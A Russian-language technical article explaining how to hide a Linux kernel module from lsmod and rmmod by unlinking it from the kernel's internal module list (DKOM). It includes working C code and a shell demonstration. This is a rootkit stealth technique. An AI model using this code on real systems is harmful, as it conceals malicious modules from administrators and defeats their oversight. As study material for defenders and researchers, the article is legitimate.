milabs
Как известно, задача сокрытия модуля ядра от вездесущих "глаз" пользователя может иметь множество приложений. В данной статье рассматривается применение DKOM (Direct Kernel Object Manipulation) - одной из техник, позволяющий осуществить сокрытие информации посредством модицикации внутренних структур ядра.
Далее будут рассмотрены особенности применения данной техники с целью сокрытия видимых признаков наличия модуля в системе и, как следствие, невозможности его выгрузки.
Как следует из названия, основу DKOM представляет операция манипуляции внутренними структурами ядра. В рассматриваемом случае, структурой, подвергающейся изменению, является внутренний список модулей, содержащий ссылки на все модули, загруженные в систему.
Предствление модулей в ядре
Структурой-описателем модуля ядра Linux является одноимённая структура, описываемая в файле linux/modules.h следующим образом:
223 struct module 224 { 225 enum module_state state; 226 227 /* Member of list of modules */ 228 struct list_head list; 229 230 /* Unique handle for this module */ 231 char name[MODULE_NAME_LEN]; ... 378 };
Помимо прочего, данная структура содержит поле list
, являющееся элементом связанного списка, посредством которого данный модуль линкуется в общий список модулей ядра. Последний, в свою очередь, является внутренним не экспортируемым списком, объявленным в файле kernel/module.c и защищаемым соответствующим (экспортируемым) мьютексом:
103 DEFINE_MUTEX(module_mutex); 104 EXPORT_SYMBOL_GPL(module_mutex); 105 static LIST_HEAD(modules);
При загрузке модуля, ядро добавляет модуль в свой список. При выгрузке - исключает. Вообще, все операции, требующие перебора загруженных модулей так или иначе сводятся к итерации ядром этого внутреннего списка.
Перечисление загруженных модулей
Для того, чтобы перечислить загруженные в систему модули, удобно использовать макрос THIS_MODULE
, ссылающийся на структуру-описатель текущего модуля. Рассмотренное ранее поле list
будет являться элементом общего списка модулей с головным описателем, находящимся где-то в недрах ядра. Итак, функция перечисления списка загруженных в систему модулей выглядит следующим образом:
static void list_modules(void) { struct module * mod; struct list_head * pos; while(!mutex_trylock(&module_mutex)) cpu_relax(); debug("List of available modules:\n"); list_for_each(pos, &THIS_MODULE->list) { bool head = (unsigned long)pos >= MODULES_VADDR; mod = container_of(pos, struct module, list); debug(" pos:%pK mod:%pK [%s]\n", pos, \ head ? mod : 0, head ? mod->name : "<- looking for"); } mutex_unlock(&module_mutex); }
Как видно, прежде всего, необходимо захватить соответствующий мьютекс, дабы не возникло проблем с синхронизацией, если кто-то в момент перечисления попытается выгрузить один из модулей.
Далее, важным моментом при перечислении является определение адреса головы списка - структуры modules. В силу особенностей организации связанных списков в ядре Linux, голова не связана ни с одним из модулей. Более того, т.к. описатели модулей выделяются из адресов диапазона модулей (MODULES_VADDR - MODULES_END), то определение принадлежности адреса к этому диапазону является тривиальным. Ниже приведён результат работы данной функции, полученный на одной из машин:
[11025.656372] [findme] List of available modules: [11025.656377] [findme] pos:ffffffffa02a7388 mod:ffffffffa02a7380 [ipheth] [11025.656380] [findme] pos:ffffffffa02b9108 mod:ffffffffa02b9100 [pci_stub] [11025.656382] [findme] pos:ffffffffa01e7028 mod:ffffffffa01e7020 [vboxpci] [11025.656385] [findme] pos:ffffffffa01dd148 mod:ffffffffa01dd140 [vboxnetadp] [11025.656387] [findme] pos:ffffffffa01d4028 mod:ffffffffa01d4020 [vboxnetflt] ... [11025.656477] [findme] pos:ffffffffa00205c8 mod:ffffffffa00205c0 [3c59x] [11025.656480] [findme] pos:ffffffffa000c108 mod:ffffffffa000c100 [r8169] [11025.656483] [findme] pos:ffffffff81c2daf0 mod:0000000000000000 [<- looking for]
Последняя строчка наглядно сообщает, что искомая структура находится по адресу ffffffff81c2daf0
, что можно проверить выполнив команду:
# grep -w modules /proc/kallsyms ffffffff81c2daf0 d modules
Таким образом, используя какой-либо из модулей можно с лёгкостью, перебирая элементы списка, найти корневую структуру. Её отличительным признаком будет являться нехарактерный для модулей адрес (ffffffff81xxxxxx
против ffffffffa0xxxxxx
), что и было использовано:
struct list_head * get_modules_head(void) { struct list_head * pos; while(!mutex_trylock(&module_mutex)) cpu_relax(); list_for_each(pos, &THIS_MODULE->list) { if ((unsigned long)pos < MODULES_VADDR) { break; } } mutex_unlock(&module_mutex); if (pos) { debug("Found \"modules\" head @ %pK\n", pos); } else { debug("Can't find \"modules\" head, aborting\n"); } return pos; }
Манипуляции списком модулей
Сокрытие модуля в принципе не представляет сложностей, т.к. операция исключения элемента из списка не требует ничего, кроме данного элемента. Операция же повторной вставки требует наличия любого из существующих элементов списка. В данном случае, используется корневой элемент системы. Таким образом, сокрытие и повторное добавление модуля выглядит следующим образом:
static void hide_or_show(int new) { while(!mutex_trylock(&module_mutex)) cpu_relax(); if (new == 1) { /* 0 -> 1 : hide */ list_del(&THIS_MODULE->list); debug("Module \"%s\" unlinked\n", THIS_MODULE->name); } else { /* 1 -> 0 : show */ list_add(&THIS_MODULE->list, p_modules); debug("Module \"%s\" linked again\n", THIS_MODULE->name); } mutex_unlock(&module_mutex); }
В первом случае, для исключения их списка используется list_del. Во втором - list_add. Обе операции защищаются захватом соответствующего мьютекса.
Практическая часть
В подготовленном примере содержится код модуля, который реализует функции маскировки. Для проверки следует собрать модуль и загрузить его стандартными средствами через make
и insmod
Далее, непосредственно после загрузки, модуль будет доступен через lsmod
или rmmod
. Далее привожу последовательность действий по проверке функций маскировки:
# isnmod findme.ko # lsmod / grep findme findme 12697 0 # sysctl -w findme=1 findme = 1 # lsmod / grep findme # rmmod findme libkmod: ERROR ../libkmod/libkmod-module.c:753 kmod_module_remove_module: could not remove 'findme': No such file or directory Error: could not remove module findme: No such file or directory # sysctl -w findme=0 findme = 0 # lsmod / grep findme findme 12697 0 # rmmod findme
Таким образом, существует возможность простого сокрытия модуля ядра от посторонних глаз. Представленный пример содержит необходимый для экспериментов код.
Ссылки по теме